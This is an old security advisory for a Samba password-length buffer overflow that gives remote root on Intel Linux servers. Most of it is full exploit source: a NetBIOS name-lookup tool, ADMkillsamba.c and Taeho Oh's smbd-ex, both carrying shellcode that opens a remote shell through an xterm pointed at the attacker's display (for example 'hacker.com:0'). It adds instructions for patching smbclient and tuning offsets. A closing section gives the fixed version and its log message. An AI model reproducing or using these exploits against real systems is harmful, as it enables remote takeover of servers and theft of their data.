COMMAND

    samba

SYSTEMS AFFECTED

    Win NT

PROBLEM

    A  security  hole  in  all  versions  of  Samba  has been recently
    discovered. The security hole allows unauthorized remote users  to
    obtain root access on the Samba server.

    The exploit for  the security hole  is very architecture  specific
    and has been only demonstrated  to work for Samba servers  running
    on Intel based platforms. The  exploit below is specific to  Intel
    Linux servers. It  would be very  difficult to produce  an exploit
    for other architectures but it may be possible.

    Guys who did find  that were ADM.   Usage is quite simple.   First
    you must have a special smbclient for send a large large passwd.

    How??  tell me for the bin  of get the source of samba and  change
    in smb.h  at line  248:   typedef char  pstring[1024]; to  typedef
    char pstring[20000]; and now compile smbclient!

        # make smbclient
        [dont forget to edit the makefile !!]
        see the line 199 in makefile

    Below is exploit.

    /* Note i have include a little utility pinched from ADMtoolz  for
       get the netbios name
    ------------------------[ADMnmbname.c]---------------------
    */

    #define DEFAULT_OFFSET 3500
    #define DEFAULT_BUFFER_SIZE 3081
    #define NOP 0x90
    #define NMBHDRSIZE 13
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <sys/ioctl.h>
    #include <sys/stat.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <netinet/ip_tcp.h>

    struct nmbhdr {
    unsigned short int id;

    unsigned char  R:1;
    unsigned char  opcode:4;
    unsigned char  AA:1;
    unsigned char  TC:1;
    unsigned char  RD:1;
    unsigned char  RA:1;
    unsigned char  unless:2;
    unsigned char  B:1;
    unsigned char  RCODE:4;


    unsigned short int que_num;
    unsigned short int rep_num;
    unsigned short int num_rr;
    unsigned short int num_rrsup;
    unsigned char namelen;
    };


    struct typez{
    u_int type;
    u_int type2;
    };


    unsigned int host2ip(char *serv)
    {
    struct sockaddr_in sin;
    struct hostent *hent;

    hent=gethostbyname(serv);
    if(hent == NULL) return 0;
    bzero((char *)&sin, sizeof(sin));
    bcopy(hent->h_addr, (char *)&sin.sin_addr, hent->h_length);
    return sin.sin_addr.s_addr;
    }



    main( int argc, char  **argv)
    {
    struct sockaddr_in  sin_me , sin_dst;
    struct nmbhdr *nmb,*nmb2;
    struct iphdr *ipz;
    struct typez  *typz;
    struct hostent *hent;
    int socket_client,sr,num,i=1,bha,timeout=0,try=0,GO=0;
    int longueur=sizeof(struct sockaddr_in);
    char  *data;
    char  *dataz;
    char   buffer[1024];
    char   buffer2[1024];
    char   namezz[1024];
    char   name[64]="CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0";
    char   c;

    if(argc <2) {
            printf("usage: ADMnmbname <ip of the victim>\n");
            exit (0);
            }

    socket_client=socket(AF_INET,SOCK_DGRAM,17);
    sr=socket(AF_INET,SOCK_RAW,17);
    ioctl(sr,FIONBIO,&i);


    sin_me.sin_family=AF_INET;
    sin_me.sin_addr.s_addr=htonl(INADDR_ANY);
    sin_me.sin_port=htons(2600);

    sin_dst.sin_family=AF_INET;
    sin_dst.sin_port=htons(137);
    sin_dst.sin_addr.s_addr = host2ip(argv[1]);

    nmb = (struct nmbhdr *)  buffer;
    data = (char *)(buffer+NMBHDRSIZE);
    typz = (struct typez *)(buffer+NMBHDRSIZE+33);
    nmb2 = (struct nmbhdr *)(buffer2+20+8);
    ipz   = (struct iphdr *)buffer2;
    dataz = (char *)(buffer2+50+7+20+8);

    memset(buffer,0,1024);
    memset(buffer2,0,1024);
    memset(namezz,0,1024);
    memcpy(data,name,33);

               /* play with the netbios query format :) */

    nmb->id=0x003;
    nmb->R=0;                  /* 0 for question 1 for response */
    nmb->opcode=0;             /* 0 = query */
    nmb->que_num=htons(1);     /* i have only 1 question :) */
    nmb->namelen=0x20;
    typz->type=0x2100;
    typz->type2=0x1000;

    sendto(socket_client,buffer,50,0,(struct sockaddr *)&sin_dst,longueur);

      for(timeout=0;timeout<90;timeout++ )
      {
               usleep(100000);
               buffer2[0]='0';
               recvfrom(sr,buffer2,800,0,(struct sockaddr *)&sin_dst,&(int)longueur);

            if(buffer2[0]!='0')
                    {

                              if(nmb2->rep_num!=0)
                                {
                                bha=0;

                                         for(;;)
                                         {

                                            c=*(dataz+bha);
                                            if(c!='\x20')
                                                            {

                                                            namezz[bha]=c;
                                                            bha++;
                                                             }
                                            if(c=='\x20')break;
                                       }


                                    printf("netbios name of %s is %s\n",argv[1],namezz);
                                    try =4;
                                    GO = 4;

                                    break;
                                  }

                    }

         }

    memset(buffer,0,1024);
    memset(buffer2,0,1024);

    }

    ...and...

    /*
    -------------------[ADMkillsamba.c]---------------------

    generic buffer overflow ameliored for samba sploit
    the sploit send a xterm to your machine .
    hey dont forget to do a  xhost +IP-OF-VICTIM  !!!!
    and  put  the  the  sploit  to  the  same directory of the special
    smbclient !
    */

    /* diz default  offset and buffer  size Work fine  on a my  system
    Redhat 4.2  with samba  server 1.9.17alpha5 < the last  version !>
    i have tested on other system  with this deffautl buff & size  smb
    1.9.16p[9-11] the default srv on  redhat 4.1 4.2  but  somtime you
    need to  change the  buffer size  and offset    try  a buffer of (
    1050<buffer  >1100)  and  a  offset  (  1500<off >2500) mail me at
    admsmb@hotmail.com if u wanna some help */

    #define DEFAULT_OFFSET 3500
    #define DEFAULT_BUFFER_SIZE 3081
    #define NOP 0x90
    #include <stdlib.h>
    #include <strings.h>

    unsigned char shellcode[500] =

    "\xeb\x2f\x5f\xeb\x4a\x5e\x89\xfb\x89\x3e\x89\xf2\xb0\xfe\xae\x74"
    "\x14\x46\x46\x46\x46\x4f\x31\xc9\x49\xb0\xff\xf2\xae\x30\xc0\x4f"
    "\xaa\x89\x3e\xeb\xe7\x31\xc0\x89\x06\x89\xd1\x31\xd2\xb0\x0b\xcd"
    "\x80\xe8\xcc\xff\xff\xff";

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      char netbios_name[100];

      char bufferz[255];
      char ipz[40];
      char myipz[40];
      unsigned char bla[50] = "\xfe\xe8\xb1\xff\xff\xff";
      int *ret;
      unsigned char cmd[50]="/usr/bin/X11/xterm\xff-display\xff";
      unsigned char arg1[50];
      char arg2[50]="bhahah\xff";

      int i,pid;

      bzero(netbios_name,100);
      bzero(bufferz,255);
      bzero(ipz,40);
      bzero(ipz,40);

      if(argc <4){
      printf(" usage: ADMkillsamba <ip of the victim> <netbios name> <your ip> [buff size] [offset size]\n");
      printf("<ip of victim> = 11.11.11.11  ! THe numerical IP  Only ! not www.xxx.cc !\n");
      printf("<netbios name> = VICTIME    for get the netbios name use ADMnmbname or ADMhack\n");
      printf("<your ip> = the sploit send a xterm to your machine heh \n");
      printf("option:\n");
      printf("[buff size] = the size of the buffer to send default is 3081 try +1 -1 to a plage of +10 -10\n");
      printf("[offset size] = the size of the offset default is 3500 try +50 -50 to a plage of 1000 -1000\n");
      printf(" HaVe Fun\n");
      exit(0);
      }

        sprintf(arg1,"%s:0\xff-e\xff/bin/sh\xff",argv[3]);

        shellcode[4] =(unsigned char)0x32+strlen(cmd)+strlen(arg1);
        bla[2] =(unsigned char) 0xc9-strlen(cmd)-strlen(arg1);

     printf("4 byte = 0x%x\n",shellcode[4]);
     printf("5 byte = 0x%x\n",bla[2]);

      strcat(shellcode,cmd);
      strcat(shellcode,arg1);
      strcat(shellcode,bla);
      strcat(shellcode,"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

    //  printf("%s\n",shellcode);

      strcpy(ipz,argv[1]);                   /* haha u can overflow my sploit :) */
      strcpy(netbios_name,argv[2]);

      if (argc > 4) bsize  = atoi(argv[4]);
      if (argc > 5) offset = atoi(argv[5]);

      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }

    sprintf(bufferz,"\\\\\\\\%s\\\\IPC$",netbios_name);


      addr =  0xbffffff0 - offset ;
      printf("Using address: 0x%x\n", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < bsize/4; i++)
        buff[i] = NOP;

      ptr = buff + ((bsize/4) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';

      execl("./smbclient","smbclient",bufferz,buff,"-I",ipz,NULL);

     }

    Following is the Taheo  Oh's version of the  exploit.  He sent  me
    hacked version of smbclient. but  I decide not to publish  that as
    AMD guys gave enough instructions above how to produce that one.

    /*
    
	    Smbd exploit code for x86 linux
    
	    Remote user can gain root access.
    
	    Tested redhat linux : 4.0 , 4.1 , 4.2
	    Tested smbd version : 1.9.16p2 , 1.9.16p11
    
	    What requires
	    smbclient that can send long password.
    
	    Usage
	    $ smbd-ex <hostname> <netbios name> <command> [offset]
    
	    This program is only for demonstrative use only.
	    USE IT AT YOUR OWN RISK!
    
	    Programmed by Taeho Oh 1998/10/15
    
    Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
    PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
    PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
    
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define OFFSET                            0
    #define RET_POSITION                   3060
    #define RANGE                            20
    #define NOP                            0x90
    
    char shellcode[400]=
	    "\xeb\x35"                      /* jmp 0x35             */
	    "\x5e"                          /* popl %esi            */
	    "\x89\x76\x0b"                  /* movl %esi,0xb(%esi)  */
	    "\x89\xf0"                      /* movl %esi,%eax       */
	    "\x83\xc0\x08"                  /* addl $0x8,%eax       */
	    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
	    "\x89\xf0"                      /* movl %esi,%eax       */
	    "\x83\xc0\x0b"                  /* addl $0xb,%eax       */
	    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
	    "\x31\xc0"                      /* xorl %eax,%eax       */
	    "\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
	    "\x88\x46\x0a"                  /* movb %eax,0xa(%esi)  */
	    "\x88\x46\x0b"                  /* movb %eax,0xb(%esi)  */
	    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
	    "\xb0\x0b"                      /* movb $0xb,%al        */
	    "\x89\xf3"                      /* movl %esi,%ebx       */
	    "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx  */
	    "\x8d\x56\x0b"                  /* leal 0xb(%esi),%edx  */
	    "\xcd\x80"                      /* int 0x80             */
	    "\x31\xdb"                      /* xorl %ebx,%ebx       */
	    "\x89\xd8"                      /* movl %ebx,%eax       */
	    "\x40"                          /* inc %eax             */
	    "\xcd\x80"                      /* int 0x80             */
	    "\xe8\xc6\xff\xff\xff"          /* call -0x3a           */
	    "/bin/sh -c ";                  /* .string "/bin/sh -c "*/
    char command[400];
    
    void usage()
    {
	    printf("Usage: smbd-ex <hostname> <netbios name> <command> [offset]\n");
	    printf("ex) smbd-ex ohhara.target.com OHHARA \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
    }
    
    void main(int argc,char **argv)
    {
	    char buffer[256];
	    char ip[256];
	    char buff[RET_POSITION+RANGE+1],*ptr;
	    long *addr_ptr,addr;
	    unsigned long sp;
	    int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
	    int i;
    
	    printf("Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara\n");
	    printf("PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus\n");
	    printf("PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug\n\n");
    
	    if(argc<4)
	    {
		    usage();
		    exit(1);
	    }
    
	    if(argc>3)
	    {
		    strcpy(ip,argv[1]);
		    sprintf(buffer,"\\\\\\\\%s\\\\IPC$",argv[2]);
		    strcpy(command,argv[3]);
	    }
	    if(argc>4)
		    offset=atoi(argv[4]);
    
	    shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
	    shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
	    shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
	    shellcode[32]=(shellcode[32]+strlen(command));
	    shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
	    shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
	    shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
	    strcat(shellcode,command);
    
	    sp=0xbffffb11;
	    addr=sp-offset;
    
	    ptr=buff;
	    addr_ptr=(long*)ptr;
	    for(i=0;i<bsize;i+=4)
		    *(addr_ptr++)=addr;
    
	    for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
		    buff[i]=NOP;
    
	    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	    for(i=0;i<strlen(shellcode);i++)
		    *(ptr++)=shellcode[i];
    
	    buff[bsize-1]='\0';
    
	    execl("./smbclient","smbclient",buffer,buff,"-I",ip,NULL);
    }

SOLUTION

    A new release of Samba has  now been made that fixes the  security
    hole. The new release is version 1.9.17p2 and is available from:

        ftp://samba.anu.edu.au/pub/samba/samba-1.9.17p2.tar.gz

    This release also  adds a routine  which logs a  message if anyone
    attempts to take advantage of  the security hole. The message  (in
    the Samba log files) will look like this:

        ERROR: Invalid password length 999
        you're machine may be under attack by a user exploiting an old
        bug Attack was from IP=aaa.bbb.ccc.ddd

    where aaa.bbb.ccc.ddd is the IP address of the machine  performing
    the attack.